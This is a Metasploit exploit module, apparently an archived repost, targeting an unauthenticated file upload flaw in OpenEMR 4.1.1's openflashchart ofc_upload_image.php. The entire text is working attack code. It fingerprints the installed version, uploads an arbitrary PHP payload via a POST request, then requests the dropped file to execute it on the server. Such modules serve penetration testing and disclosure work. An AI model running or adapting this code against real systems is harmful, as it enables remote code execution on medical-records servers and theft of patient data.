OpenEMR PHP File Upload

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::FileDropper  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "OpenEMR PHP File Upload Vulnerability",  
'Description' => %q{  
This module exploits a vulnerability found in OpenEMR 4.1.1 By abusing the  
ofc_upload_image.php file from the openflashchart library, a malicious user can  
upload a file to the tmp-upload-images directory without any authentication, which  
results in arbitrary code execution. The module has been tested successfully on  
OpenEMR 4.1.1 over Ubuntu 10.04.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Gjoko Krstic <gjoko[at]zeroscience.mk>', # Discovery, PoC  
'juan vazquez' # Metasploit module  
],  
'References' =>  
[  
[ 'OSVDB', '90222' ],  
[ 'BID', '37314' ],  
[ 'EBD', '24492' ],  
[ 'URL', 'http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5126.php' ],  
[ 'URL', 'http://www.open-emr.org/wiki/index.php/OpenEMR_Patches' ]  
],  
'Platform' => ['php'],  
'Arch' => ARCH_PHP,  
'Targets' =>  
[  
['OpenEMR 4.1.1', {}]  
],  
'Privileged' => false,  
'DisclosureDate' => "Feb 13 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to EGallery', '/openemr'])  
], self.class)  
end  
  
def check  
uri = target_uri.path  
peer = "#{rhost}:#{rport}"  
  
# Check version  
print_status("#{peer} - Trying to detect installed version")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "interface", "login", "login.php")  
})  
  
if res and res.code == 200 and res.body =~ /v(\d\.\d\.\d)/  
version = $1  
else  
return Exploit::CheckCode::Unknown  
end  
  
print_status("#{peer} - Version #{version} detected")  
  
if version > "4.1.1"  
return Exploit::CheckCode::Safe  
end  
  
# Check for vulnerable component  
print_status("#{peer} - Trying to detect the vulnerable component")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php"),  
})  
  
if res and res.code == 200 and res.body =~ /Saving your image to/  
return Exploit::CheckCode::Detected  
end  
  
return Exploit::CheckCode::Safe  
end  
  
def exploit  
uri = target_uri.path  
  
peer = "#{rhost}:#{rport}"  
payload_name = rand_text_alpha(rand(10) + 5) + '.php'  
my_payload = payload.encoded  
  
print_status("#{peer} - Sending PHP payload (#{payload_name})")  
res = send_request_raw({  
'method' => 'POST',  
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "php-ofc-library", "ofc_upload_image.php") + "?name=#{payload_name}",  
'headers' => { "Content-Length" => my_payload.length.to_s },  
'data' => my_payload  
})  
  
# If the server returns 200 and the body contains our payload name,  
# we assume we uploaded the malicious file successfully  
if not res or res.code != 200 or res.body !~ /Saving your image to.*#{payload_name}$/  
fail_with(Exploit::Failure::NotVulnerable, "#{peer} - File wasn't uploaded, aborting!")  
end  
  
register_file_for_cleanup(payload_name)  
  
print_status("#{peer} - Executing PHP payload (#{payload_name})")  
# Execute our payload  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri("#{uri}", "library", "openflashchart", "tmp-upload-images", payload_name),  
})  
  
# If we don't get a 200 when we request our malicious payload, we suspect  
# we don't have a shell, either. Print the status code for debugging purposes.  
if res and res.code != 200  
print_error("#{peer} - Server returned #{res.code.to_s}")  
end  
end  
  
end  
`